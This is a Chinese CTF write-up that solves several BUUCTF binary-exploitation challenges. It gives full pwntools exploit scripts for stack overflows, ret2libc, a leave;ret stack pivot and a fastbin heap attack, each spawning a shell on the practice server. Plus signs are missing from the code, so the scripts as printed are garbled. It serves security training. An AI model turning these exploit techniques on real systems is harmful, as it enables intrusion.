栈溢出存在,但是本题文件并不包含危险套装,因此需要 ret2libc。这里使用 printf() 函数让其输出自身真实地址,值得注意的是使用 printf() 输出会导致地址及其后数据一起被输出,所以需要自行截取前四个字节数据。LibcSearcher 并没有成功找到对应 libc,因此此处使用 BUU 平台提供的,构造 exp 如下。

代码语言:javascript复制
from pwn import *
from LibcSearcher import *

context.log_level='DEBUG'
# 开启调试模式,实际解题会有很大帮助

# io = process("./pwn2_sctf_2016")
io = remote("node4.buuoj.cn",25961)
elf = ELF('./pwn2_sctf_2016')

pnt_plt = elf.plt['printf']
pnt_got = elf.got['printf']
vuln_addr = 0x804852F

payload = b'a' * (0x2C   4)   p32(pnt_plt)   p32(vuln_addr)   p32(pnt_got)
io.recv()
io.sendline(b'-1')
io.recv()
io.sendline(payload)

io.recvline()
# 取回原程序输出部分,后续数据即以 printf 函数地址为首
pnt_addr = hex(u32(io.recv(4).ljust(4,b'')))
print(pnt_addr)
io.recv()
# 取回剩余无效数据

# libc = LibcSearcher('printf',int(pnt_addr,16))
libc = ELF('./libc-2.23.so')
base = int(pnt_addr,16) - libc.sym['printf']
sys_addr = base   libc.sym['system']
bin_sh = base   next(libc.search(b'/bin/sh'))

payload2 = b'a' * (0x2C   4)   p32(sys_addr)   p32(0xdeadbeef)   p32(bin_sh)
io.sendline(b'-1')
io.recv()
io.sendline(payload2)
io.recv()
io.interactive()

ciscn_2019_es_2

先验文件,本题文件为 32 位可执行文件,仅开启 NX 保护。

代码语言:javascript复制
└─$ file ./ciscn_2019_es_2 
./ciscn_2019_es_2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=88938f6e63cc4e27018f9032c4934e0a377712d1, not stripped

└─$ checksec ./ciscn_2019_es_2 
[*] '/home/h-t-m/ciscn_2019_es_2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

本地执行,程序连续两次等待用户输入并随后将数据打印,而且第二次数据貌似是从第一次数据的地址覆盖,若未完全覆盖则会继续输出第一次的后续数据。

代码语言:javascript复制
└─$ ./ciscn_2019_es_2
Welcome, my friend. What's your name?
h-t-m myr520
Hello, h-t-m myr520


Hello, 
-t-m myr520

└─$ ./ciscn_2019_es_2
Welcome, my friend. What's your name?
h-t-m
Hello, h-t-m

myr520
Hello, myr520

IDA 反编译查看伪代码,主体实现都在 vul() 函数中,其中第二次输入确实直接覆盖于第一次输入之上。对输入的限制为 0x30 字节,而变量所在栈偏移为 0x28 字节,因此存在栈溢出,但不多。

代码语言:javascript复制
int vul()
{
  char s[40]; // [esp 0h] [ebp-28h] BYREF

  memset(s, 0, 0x20u);
  read(0, s, 0x30u);
  printf("Hello, %sn", s);
  read(0, s, 0x30u);
  return printf("Hello, %sn", s);
}

程序中存在后门函数,直接调用了 system() 函数并打印了 flag 这四个字母。某人看见后门函数直接栈溢出调用,这题太简单了,结果输出了 flag.

代码语言:javascript复制
int hack()
{
  return system("echo flag");
}

因此,本题存在 8 字节的栈溢出,有 system() 函数但是不能直接调用,此外程序中不包含字符串 /bin/sh。影响最大的还是仅仅 8 字节的栈溢出,在填充了 ebp 之后就只剩 4 字节用于跳转,完全无法传参。但是,如果变量 s 空间内的数据并不是填充用的垃圾数据,而是 system() 函数的调用及传参的指令,那么在溢出后让 eip 寄存器跳转回该部分即可达到与直接溢出调用相同的效果。这里先考虑目标地址的问题,栈空间的地址是随机的,所以并不能实现直接指定跳转地址,但是,本题有两次的同一位置输入输出,也就是说可以在第一次获取其栈地址而在第二次完成跳转。由于打印使用的 printf() 函数在读取到空字符后才会停止,因此若栈帧中旧 ebp 位之前全部为非空字符,则程序将连同该 ebp 值一起输出。构造如下 exp 便可获得旧 ebp 的地址:

代码语言:javascript复制
from pwn import *

io = process('./ciscn_2019_es_2')
io = remote("node4.buuoj.cn",25961)

payload = b'a' * 36   b'b' * 4
io.sendline(payload)

io.recvuntil(b'bbbb')
ebp_addr = hex(u32(io.recv(4)))
print(ebp_addr)
io.recv()

有了旧的 ebp 现在只需计算偏移就可锁定指定位置,毕竟栈偏移不会变,因此获取之后直接加入计算即可。本地调试可知,旧 ebp 距离变量 s 偏移为 0x38。

锁定位置之后就需要让 eip 寄存器指过去了,我们并不能直接控制该寄存器,但是可以借助一些现有指令让栈帧被改变,而 eip 也就会跟着在新栈帧中移动。各函数尾的 leave ret 指令便是利用的对象,leave 相当于如下指令:

代码语言:javascript复制
mov esp,ebp
pop ebp

当前函数调用结束时会先执行 leave ret 指令,而其中 leave 指令将旧的 ebp 值放回 ebp 寄存器中,若随后我们通过栈溢出部分再次跳转到 leave,则旧的 ebp 值便被间接存入了 esp 寄存器中。因为旧的 ebp 值我们可以控制,所以借助该指令我们便可完成栈顶的指定。不过由于新栈顶完成之后还有 pop ebp 指令,因此新栈帧最初四个字节数据应保留用于抵消该操作。

最后在变量 s 空间内写入跳转调用栈数据,字符串 /bin/sh 直接在栈中传递即可,地址可以由 payload 计算出来。构造 exp 如下:

代码语言:javascript复制
from pwn import *

io = remote("node4.buuoj.cn",26703)
# io = process('./ciscn_2019_es_2')

payload = b'a' * 36   b'b' * 4
# 标志结尾,便于识别
io.send(payload)
# 不使用 sendline() 以免其自带的换行符干扰

io.recvuntil(b'bbbb')
ebp_addr = hex(u32(io.recv(4)))
# print(ebp_addr)

leave_ret = 0x80484b8
sys_addr = 0x8048400

payload2 = p32(0xdeadbeef)   p32(sys_addr)   p32(0xdeadbeef)   p32(int(ebp_addr,16) - 0x38   0x10)   b'/bin/sh'
payload2 = payload2.ljust(0x28,b'')
# 避免自行计数,直接使用空字符将变量空间填充满,便于后续栈溢出
payload2  = p32(int(ebp_addr,16) - 0x38)   p32(leave_ret)
io.recv()
io.sendline(payload2)
io.recv()

io.interactive()

jarvisoj_tell_me_something

先验文件,本题文件为 64 位可执行文件,只开了 NX 保护,但是以往半开的 RELRO 被完全关闭了,意味着本题的一些重定位信息可以被修改。很遗憾本题没有利用这一点。

代码语言:javascript复制
└─$ file ./guestbook              
./guestbook: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7429502fc855237f3f8eeceb262ddcf6b2c2854e, not stripped

└─$ checksec ./guestbook              
[*] '/home/h-t-m/guestbook'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

本地执行一遍,程序等待用户输入完成之后便打印一串静态字符串退出了。

代码语言:javascript复制
└─$ ./guestbook              
Input your message:
h-t-m myr520
I have received your message, Thank you!

IDA 反编译查看伪代码,主函数基本就是本地测试时的全部内容。其中 read() 函数读取字符限制数为 0x100 多于局部变量距离栈底偏移 0x88,足以进行栈溢出利用。值得注意的是本题没有 ebp 相关的操作,因此栈溢出时不需考虑 ebp 位。如下为主函数的汇编代码:

代码语言:javascript复制
sub     rsp, 88h
mov     edx, 14h        ; n
mov     esi, offset aInputYourMessa ; "Input your message:n"
mov     edi, 1          ; fd
call    _write
mov     rsi, rsp        ; buf
mov     edx, 100h       ; nbytes
xor     edi, edi        ; fd
call    _read
mov     edx, 29h ; ')'  ; n
mov     esi, offset aIHaveReceivedY ; "I have received your message, Thank you"...
mov     edi, 1          ; fd
call    _write
add     rsp, 88h
retn

Shift F12 发现程序中含有关键字符 flag.txt 并且其在 good_game() 函数中被调用,该函数打开并逐个输出了文件内容。可以判断只要调用这个函数就可以获取 flag。

代码语言:javascript复制
int good_game()
{
  FILE *v0; // rbx
  int result; // eax
  char buf[9]; // [rsp Fh] [rbp-9h] BYREF

  v0 = fopen("flag.txt", "r");
  while ( 1 )
  {
    result = fgetc(v0);
    buf[0] = result;
    if ( (_BYTE)result == 0xFF )
      break;
    write(1, buf, 1uLL);
  }
  return result;
}

栈溢出和 flag 读取函数都是现成的,直接构造 exp 如下:

代码语言:javascript复制
from pwn import *

io = remote("node4.buuoj.cn",27417)
#io = process('./guestbook')

payload = b'a' * 0x88   p64(0x0400620)

io.recv()
io.sendline(payload)
io.recvline()
# 便于读取,先取掉无用的那一行
# sleep(1)
# 运行太快可能造成 flag 未完全输出就被返回,可手动调用 sleep() 等待
print(io.recv())

[HarekazeCTF2019]baby_rop2

先验文件,本题文件为 64 位的可执行文件,依然只开启了 NX 保护。

代码语言:javascript复制
└─$ file ./babyrop2              
./babyrop2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=fab931b976ae2ff40aa1f5d1926518a0a31a8fd7, not stripped

└─$ checksec ./babyrop2              
[*] '/home/h-t-m/babyrop2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

本地执行一遍,程序请求输入姓名,随后在问候中打印姓名并退出。

代码语言:javascript复制
└─$ ./babyrop2
What's your name? h-t-m myr520
Welcome to the Pwn World again, h-t-m myr520!

IDA 反编译查看伪代码,主函数中使用 read() 函数读取用户输入,限制远大于栈偏移,因此存在栈溢出。

代码语言:javascript复制
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[28]; // [rsp 0h] [rbp-20h] BYREF
  int v5; // [rsp 1Ch] [rbp-4h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  printf("What's your name? ");
  v5 = read(0, buf, 0x100uLL);
  buf[v5 - 1] = 0;
  printf("Welcome to the Pwn World again, %s!n", buf);
  return 0;
}

程序中并未找到危险套装,因此本题还是使用 ret2libc。题目中给出了 libc 文件,因此直接从文件中读取数据。查库很可能找不到,就不尝试了。 这里使用 printf() 函数来泄露 read() 函数的真实地址,实测不能使用 printf() 的地址拿来泄露,貌似 libc 并不完全对应。

代码语言:javascript复制
from pwn import *

io = remote("node4.buuoj.cn",29566)
#io = process('./babyrop2')
elf = ELF('./babyrop2')

pnt_plt = elf.plt['printf']
read_got = elf.got['read']
rdi_ret = 0x400733
main_addr = 0x400636

payload = b'a' * (0x20   8)   p64(rdi_ret)   p64(read_got)   p64(pnt_plt)   p64(main_addr)
io.recv()
io.sendline(payload)
io.recvline()

pnt_addr = u64(io.recv(6).ljust(8,b''))
# 虽然地址有八位,但是有效值仅占六位,因此只能读取六位
# print(hex(pnt_addr))
libc = ELF('./libc.so.6')
base = pnt_addr - libc.sym['read']
sys_addr = base   libc.sym['system']
bin_sh = base   next(libc.search(b'/bin/sh'))

payload2 = b'a' * (0x20   8)   p64(rdi_ret)   p64(bin_sh)   p64(sys_addr)
io.recv()
io.sendline(payload2)
io.recv()

io.interactive()

此外本题的 flag 并不在根目录,其地址为 /home/babyrop2/flag。

jarvisoj_level3

先验文件,本题文件为 32 位可执行文件,仅开启 NX 保护。

代码语言:javascript复制
└─$ file ./level3    
./level3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44a438e03b4d2c1abead90f748a4b5500b7a04c7, not stripped

└─$ checksec ./level3    
[*] '/home/h-t-m/level3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

本地执行,程序等待用户输入,完成之后打印固定字符串并退出。

代码语言:javascript复制
└─$ ./level3      
Input:
h-t-m myr520
Hello, World!

IDA 反编译查看伪代码,主要调用自定义函数实现输入读取,其中读取限制大于栈偏移,存在 0x12 字节的栈溢出。

代码语言:javascript复制
ssize_t vulnerable_function()
{
  char buf[136]; // [esp 0h] [ebp-88h] BYREF

  write(1, "Input:n", 7u);
  return read(0, buf, 0x100u);
}

文件中不含危险套装,因此本题再次需要 ret2libc。这里使用 write() 函数泄露 read() 函数的真实地址,由于查库再次没查出来,因此使用 BUU 的 libc 文件。

代码语言:javascript复制
from pwn import *
from LibcSearcher import *

io = remote('node4.buuoj.cn',27587)
# io = process('./level3')
elf = ELF('./level3')

wrt_plt = elf.plt['write']
read_got = elf.got['read']
vuln_addr = 0x804844B

payload = b'a' * (0x88   4)   p32(wrt_plt)   p32(vuln_addr)   p32(1)   p32(read_got)   p32(4)
io.recv()
io.sendline(payload)

read_addr = u32(io.recv(4).ljust(4,b''))
print(hex(read_addr))

# libc = LibcSearcher('read',read_addr)
libc = ELF("./libc-2.23.so")
base = read_addr - libc.sym['read']
sys_addr = base   libc.sym['system']
bin_sh = base   next(libc.search(b"/bin/sh"))

payload2 = b'a' * (0x88   4)   p32(sys_addr)   p32(0xdeadbeef)   p32(bin_sh)
io.recv()
io.sendline(payload2)

io.interactive()

babyheap_0ctf_2017

先验文件,本题文件为 64 位可执行文件,保护全开,从标题可以看出,堆来了!

代码语言:javascript复制
└─$ file ./babyheap_0ctf_2017 
./babyheap_0ctf_2017: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped

└─$ checksec ./babyheap_0ctf_2017 
[*] '/home/h-t-m/babyheap_0ctf_2017'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

本地执行,程序提供五个选项,其中前四个对应程序的四个功能,根据测试应该分别对应于内存的分配、填充、释放与输出。此外,程序在一段时间后会自动退出。

代码语言:javascript复制
└─$ ./babyheap_0ctf_2017
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 

IDA 反编译查看伪代码,主函数首先通过调用自定义函数完成堆空间的申请以及基本交互,随后的程序四大功能的实现同样封装于函数中。

代码语言:javascript复制
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v4; // [rsp 8h] [rbp-8h]

  v4 = sub_B70(a1, a2, a3);
    // 使用 mmap() 函数申请 0x1000 字节的空间
    // char *sub_B70()
    // {
    //   ...
    //	 addr = (char *)((buf[0] % 0x555555543000uLL   0x10000) & 0xFFFFFFFFFFFFF000LL);
    //   v3 = (buf[1] % 0xE80uLL) & 0xFFFFFFFFFFFFFFF0LL;
    //   if ( mmap(addr, 0x1000uLL, 3, 34, -1, 0LL) != addr )
    //     exit(-1);
    //   return &addr[v3];
    // }
  while ( 1 )
  {
    sub_CF4();
    // 打印菜单
    switch ( sub_138C() )
        	 // 读取用户输入的选项,通过 atol() 函数提取整形数据
    {
      case 1LL:
        sub_D48(v4);
        break;
      case 2LL:
        sub_E7F(v4);
        break;
      case 3LL:
        sub_F50(v4);
        break;
      case 4LL:
        sub_1051(v4);
        break;
      case 5LL:
        return 0LL;
      default:
        continue;
    }
  }
}

先审计一下 Allocate 功能的实现函数,该函数在此前使用 mmap() 申请的空间内写入为用户新分配的各堆空间的信息表,用户每申请一块堆空间便占用 24 字节,函数依序为每块空间赋予索引并限制只能申请最多 16 块空间。其中若用户需求空间大于 4096 则按 4096 字节分配,分配完成后会对保存新分配空间信息并打印当前空间索引。

代码语言:javascript复制
void __fastcall sub_D48(__int64 a1)
{
  int i; // [rsp 10h] [rbp-10h]
  int v2; // [rsp 14h] [rbp-Ch]
  void *v3; // [rsp 18h] [rbp-8h]

  for ( i = 0; i <= 15;   i )
  // 限制为 16 块空间以内
  {
    if ( !*(_DWORD *)(24LL * i   a1) )
    // 配合 for 语句逐块空间遍历,找到未被占用的空间为止
    // 每块空间大小为 24 字节
    {
      printf("Size: ");
      v2 = sub_138C();
           // 读取用户输入的数值,通过 atol() 函数提取整形数据
      if ( v2 > 0 )
      {
        if ( v2 > 4096 )
          v2 = 4096;
        v3 = calloc(v2, 1uLL);
        // 按用户要求分配对应空间,大于 4096 字节的按 4096 分配,calloc 会将空间初始化为 0
        if ( !v3 )
          exit(-1);
        *(_DWORD *)(24LL * i   a1) = 1;
        // 标记已分配
        *(_QWORD *)(a1   24LL * i   8) = v2;
        // 标识空间大小
        *(_QWORD *)(a1   24LL * i   16) = v3;
        // 标识空间地址
        printf("Allocate Index %dn", (unsigned int)i);
        // 打印索引
      }
      return;
    }
  }
}

然后是 Fill 功能的实现函数,该函数向用户指定的索引对应堆空间写入数据,值得注意的是,输入数据的长度完全由用户定义。

代码语言:javascript复制
__int64 __fastcall sub_E7F(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp 18h] [rbp-8h]
  int v3; // [rsp 1Ch] [rbp-4h]

  printf("Index: ");
  result = sub_138C();
  // 读取用户输入的索引值
  v2 = result;
  if ( (int)result >= 0 && (int)result <= 15 )
  // 判断索引值是否合法
  {
    result = *(unsigned int *)(24LL * (int)result   a1);
    // 指向索引对应堆空间的信息块
    if ( (_DWORD)result == 1 )
    {
      printf("Size: ");
      result = sub_138C();
      v3 = result;
      // 获取用户将写入的数据的长度
      if ( (int)result > 0 )
      {
        printf("Content: ");
        return sub_11B2(*(_QWORD *)(24LL * v2   a1   16), v3);
          	   // 读取用户输入数据并写入对应堆空间,严格遵守用户输入的长度
          	   // unsigned __int64 __fastcall sub_11B2(__int64 a1, unsigned __int64 a2)
               // {
               //   unsigned __int64 v3; // [rsp 10h] [rbp-10h]
               //   ssize_t v4; // [rsp 18h] [rbp-8h]
               //
               //   if ( !a2 )
               //     return 0LL;
               //   v3 = 0LL;
               //   while ( v3 < a2 )
               //   {
               //     v4 = read(0, (void *)(v3   a1), a2 - v3);
               //     if ( v4 > 0 )
               //     {
               //       v3  = v4;
               //     }
               //     else if ( *_errno_location() != 11 && *_errno_location() != 4 )
               //     {
               //       return v3;
               //     }
               //   }
               //   return v3;
               // }
      }
    }
  }
  return result;
}

然后是 Free 功能的实现函数,函数将数据块全部置零并释放对应堆空间。

代码语言:javascript复制
__int64 __fastcall sub_F50(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp 1Ch] [rbp-4h]

  printf("Index: ");
  result = sub_138C();
  v2 = result;
  if ( (int)result >= 0 && (int)result <= 15 )
  {
    // 指向用户输入索引所对应的堆空间
    result = *(unsigned int *)(24LL * (int)result   a1);
    // 将数据块全部置零并释放对应堆空间
    if ( (_DWORD)result == 1 )
    {
      *(_DWORD *)(24LL * v2   a1) = 0;
      *(_QWORD *)(24LL * v2   a1   8) = 0LL;
      free(*(void **)(24LL * v2   a1   16));
      result = 24LL * v2   a1;
      *(_QWORD *)(result   16) = 0LL;
    }
  }
  return result;
}

最后是 Dump 功能的实现函数,该函数输出用户指定堆空间中的数据。

代码语言:javascript复制
int __fastcall sub_1051(__int64 a1)
{
  int result; // eax
  int v2; // [rsp 1Ch] [rbp-4h]

  printf("Index: ");
  result = sub_138C();
  v2 = result;
  if ( result >= 0 && result <= 15 )
  {
    result = *(_DWORD *)(24LL * result   a1);
    if ( result == 1 )
    {
      puts("Content: ");
      sub_130F(*(_QWORD *)(24LL * v2   a1   16), *(_QWORD *)(24LL * v2   a1   8));
       // 按堆空间大小输出数据
       // unsigned __int64 __fastcall sub_130F(__int64 a1, unsigned __int64 a2)
       // {
       //   unsigned __int64 v3; // [rsp 10h] [rbp-10h]
       //   ssize_t v4; // [rsp 18h] [rbp-8h]
       //
       //   v3 = 0LL;
       //   while ( v3 < a2 )
       //   {
       //     v4 = write(1, (const void *)(v3   a1), a2 - v3);
       //     if ( v4 > 0 )
       //     {
       //       v3  = v4;
       //     }
       //     else if ( *_errno_location() != 11 && *_errno_location() != 4 )
       //     {
       //       return v3;
       //     }
       //   }
       //   return v3;
       // }
      return puts(byte_14F1);
    }
  }
  return result;
}

通过上述审计可知,我们可用通过程序的四个功能来完成对于堆空间的操作,其中向堆内存写入数据时并不限制数据长度,因此通过这里可以很方便地对当前堆空间乃至其后大块空间进行写入,也就是堆溢出。在进入下一步前,有必要好好了解一下堆的结构。

堆是程序运行时动态分配的内存空间,由低地址向高地址方向增长,与栈正好相反。一般称由 malloc 申请的内存为 chunk,chunk 无论大小与状态都使用如下的结构。

代码语言:javascript复制
/*
  This struct declaration is misleading (but accurate and necessary).
  It declares a "view" into memory allowing access to necessary
  fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {

  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

每个字段的具体的解释如下

  • prev_size, 如果该 chunk 的**物理相邻的前一地址 chunk(两个指针的地址差值为前一 chunk 大小)**是空闲的话,那该字段记录的是前一个 chunk 的大小 (包括 chunk 头)。否则,该字段可以用来存储物理相邻的前一个 chunk 的数据。这里的前一 chunk 指的是较低地址的 chunk
  • size,该 chunk 的大小,大小必须是 2 * SIZE_SZ 的整数倍。如果申请的内存大小不是 2 * SIZE_SZ 的整数倍,会被转换满足大小的最小的 2 * SIZE_SZ 的倍数。32 位系统中,SIZE_SZ 是 4;64 位系统中,SIZE_SZ 是 8。 该字段的低三个比特位对 chunk 的大小没有影响,它们从高到低分别表示
    • NON_MAIN_ARENA,记录当前 chunk 是否不属于主线程,1 表示不属于,0 表示属于。
    • IS_MAPPED,记录当前 chunk 是否是由 mmap 分配的。
    • PREV_INUSE,记录前一个 chunk 块是否被分配。一般来说,堆中第一个被分配的内存块的 size 字段的 P 位都会被设置为 1,以便于防止访问前面的非法内存。当一个 chunk 的 size 的 P 位为 0 时,我们能通过 prev_size 字段来获取上一个 chunk 的大小以及地址。这也方便进行空闲 chunk 之间的合并。
  • fd,bk。 chunk 处于分配状态时,从 fd 字段开始是用户的数据。chunk 空闲时,会被添加到对应的空闲管理链表中,其字段的含义如下
    • fd 指向下一个(非物理相邻)空闲的 chunk
    • bk 指向上一个(非物理相邻)空闲的 chunk
    • 通过 fd 和 bk 可以将空闲的 chunk 块加入到空闲的 chunk 块链表进行统一管理
  • fd_nextsize, bk_nextsize,也是只有 chunk 空闲的时候才使用,不过其用于较大的 chunk(large chunk)。
    • fd_nextsize 指向前一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
    • bk_nextsize 指向后一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
    • 一般空闲的 large chunk 在 fd 的遍历顺序中,按照由大到小的顺序排列。这样做可以避免在寻找合适 chunk 时挨个遍历。

摘自:CTF Wiki

程序在申请空间后便会获得拥有上述结构的数据空间,其中前两个字段占用的空间并不算在程序申请的空间上,即实际占用的空间会比程序申请的更大,且至少大 2 * SIZE_SZ 字节。值得注意的是,在程序释放堆空间后,chunk 并不会立即归还系统,而是由堆管理器进行分类管理,不同大小状态的 chunk 可被分为 fast bins、small bins、large bins 与 unsorted bin 四类。其中,fast bin 范围内的为一些较小的 chunk,一般小于 (64 * SIZE_SZ / 4),其使用单链表进行连接并且采用『后进先出』策略,程序分配内存时会优先从这里取。值得注意的是,fast bin 范围的 chunk 的 inuse 始终被置为 1,因此它们不会和其它被释放的 chunk 合并。剩余三类 bin 则被堆管理器维护在同一个数组 bins 中,数组每个元素对应一个双向链表构成的 chunk 链,即在每类 bin 的内部仍然会有多个互不相关的链表来保存不同大小的 chunk。其中比较特别的是数组第一个元素为 unsorted bin,该类 bin 仅由这一条双向链表构成,其主要有两个来源:

  1. 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于所运行申请的最小 chunk,就会被放到 unsorted bin 中。
  2. 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。

其中操作系统在程序请求空间时会分配一大块空间,被称为 arena,后续空间分配都会从这块空间取,主线程的 arena 为 main_arena。而程序实际分配空间后剩余部分便是 top chunk,为当前堆的物理地址最高的 chunk。

在本题中的 Fill 操作明显存在堆溢出,若通过运作将一个 chunk 送入 unsorted bin 中,因为是双向链表,故该 chunk 中的 fd 与 bk 指针均会指向 unsorted bin 的表头,也就是 bins 数组的首地址,该地址位于 main_arena 之中,且偏移固定为 0x58。值得注意的是 main_arena 与其他线程不同,其并不存在于堆中,而是一个全局变量,也就是说他被存储于 libc 的 .data 段中,而只要知道其在 libc 中的偏移便可计算出 libc 的基地址。此外,main_arena 地址减去 0x10 便是 __malloc_hook 的地址,这是在 malloc() 函数调用前会执行的钩子函数(call 其存储的地址),一般情况下该处值全为零,即不会执行任何操作。而若将此处空间填入其他操作的地址,则在下次申请堆空间时,就会执行我们指定的操作。那完蛋,要啥有啥。

现在就可以正式开始编写 exp 了,首先由于后续会有很多冗余的堆操作,因此这里先把他们封装成函数以便于调用,该部分 exp 如下:

代码语言:javascript复制
from pwn import *

#io = process('./babyheap_0ctf_2017')
io = remote('node4.buuoj.cn',27684)

def allocate(size):
    io.recvuntil(b'Command: ')
    io.sendline(b'1')
    io.recvuntil(b"Size: ")
    io.sendline(bytes(str(size),encoding='utf-8'))

def fill(index,txt):
    io.recvuntil(b'Command: ')
    io.sendline(b'2')
    io.recvuntil(b"Index: ")
    io.sendline(bytes(str(index),encoding='utf-8'))
    io.recvuntil(b"Size: ")
    io.sendline(bytes(str(len(txt)),encoding='utf-8'))
    io.recvuntil(b"Content: ")
    io.send(txt)
    # sendline 会在末位加换行符,造成干扰

def free(index):
    io.recvuntil(b'Command: ')
    io.sendline(b'3')
    io.recvuntil(b"Index: ")
    io.sendline(bytes(str(index),encoding='utf-8'))

def dump(index):
    io.recvuntil(b'Command: ')
    io.sendline(b'4')
    io.recvuntil(b"Index: ")
    io.sendline(bytes(str(index),encoding='utf-8'))

接下来就要开始动手了,我们需要将一个 chunk 运作进 unsorted bin 中并获取该 chunk 中的 fd 与 bk 指针值进而计算 main_arena 地址。如前文所述只有两种情况可以进去,要么拆分 chunk 剩下的进去,要么释放 chunk 不小且不粘顶的进去。进去倒是不难,但是我们还需要通过 Dump() 函数来获取数据,而仅仅送进去的话就不能输出了,因此这里就需要点手段了:首先申请六块空间,chunk0 与 chunk3 留作填充后续空间的入口,chunk4 留作后面 unsorted bin 唯一成员,chunk5 则是将 top chunk 隔开,以便 chunk4 进入 unsorted bin。chunk1 与 chunk2 则释放进 fast bin 的同一链表中,由于其为后进先出的单链表,所以后释放的 chunk2 的 fd 指针将存放 chunk1 的地址。这部分 exp 如下,申请空间大小不一定与下面一致,能保证 chunk1、2 能进 fast bin 中同一链表及 chunk4 能进 unsorted bin 即可。

代码语言:javascript复制
allocate(0x10) # chunk0
allocate(0x10) # chunk1
allocate(0x10) # chunk2
allocate(0x10) # chunk3
allocate(0x80) # chunk4
allocate(0x10) # chunk5
free(1)
free(2)

此时堆中的数据如下图所示,值得注意的是每个 chunk 的 size 末位都为 1,这并不是因为空间对齐后会多占一位,而是该数据末三个比特位为特殊标记位,毕竟对齐完后三位没有任何用,所以拿来做标记了,多出来的 1 是因为 PREV_INUSE 处于被置为状态。

若通过 chunk0 将该地址覆写为 chunk4 的地址,那么就等同于 fast bin 的链表中存放的是 chunk2 与 chunk4。小端序的缘故,只需修改最后一字节即可,该部分 exp 如下。

代码语言:javascript复制
payload = p64(0) * 3   p64(0x21)
payload  = p64(0) * 3   p64(0x21)
payload  = p8(0x80)
fill(0,payload)

接下来再申请两块小空间,程序就会把 fast bin 中的 chunk 拿出来依次依大小分掉。不过在此之前,由于 chunk4 的大小与其在 fast bin 中的索引位并不一致,而程序从 fast bin 分配空间时会验证这一点,因此这里需要先将 chunk4 的 size 覆写为 0x21,分配结束后再覆写回来就好了。该部分 exp 如下,由前期审计代码可知新分配内存时会再次启用此前释放的索引,而非不断增加,因此该两块 chunk 对应索引为 1 和 2。

代码语言:javascript复制
payload = p64(0) * 3   p64(0x21)
fill(3,payload)
allocate(0x10) # new_chunk1
allocate(0x10) # new_chunk2
payload = p64(0) * 3   p64(0x91)
fill(3,payload)

此时 new_chunk2 与 chunk4 指向的便是同一个地址,现在释放 chunk4 他就会进入 unsorted bin,而再用 Dump() 输出 new_chunk2 就可以拿到其两个指针了,就是为这瓶醋包的这顿饺子。该地址减去 0x58 便是 main_arena 的地址。该部分 exp 如下,两个指针都一样,取前八位就行了。

代码语言:javascript复制
free(4)
dump(2)
io.recvuntil(b"Content: n")
main_arena = u64(io.recv(8)) - 0x58

拿到 main_arena 之后就可以获得 libc 基址以及钩子函数 __malloc_hook 的地址,找到 libc 中的 one_gadget(即执行 execve("bin/sh",NULL,NULL) 的代码片段)放入 __malloc_hook 的位置就可以拿到 Shell 了。如下为获取两个地址的部分 exp,其中 main_arena 的偏移并不能直接从工具查出,因此可使用 __malloc_hook 的地址来算出 libc 基地址。

代码语言:javascript复制
libc = ELF("libc-2.23.so")
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.symbols['__malloc_hook']

然后先找一下 one_gadget 的位置,可使用 one_gadget 工具,专业寻找 one_gadget,不过需要满足 constraints 内的条件,实测只有 0x4526a 符合。

代码语言:javascript复制
└─$ one_gadget ./libc-2.23.so
0x45216 execve("/bin/sh", rsp 0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp 0x30, environ)
constraints:
  [rsp 0x30] == NULL

0xf02a4 execve("/bin/sh", rsp 0x50, environ)
constraints:
  [rsp 0x50] == NULL

0xf1147 execve("/bin/sh", rsp 0x70, environ)
constraints:
  [rsp 0x70] == NULL

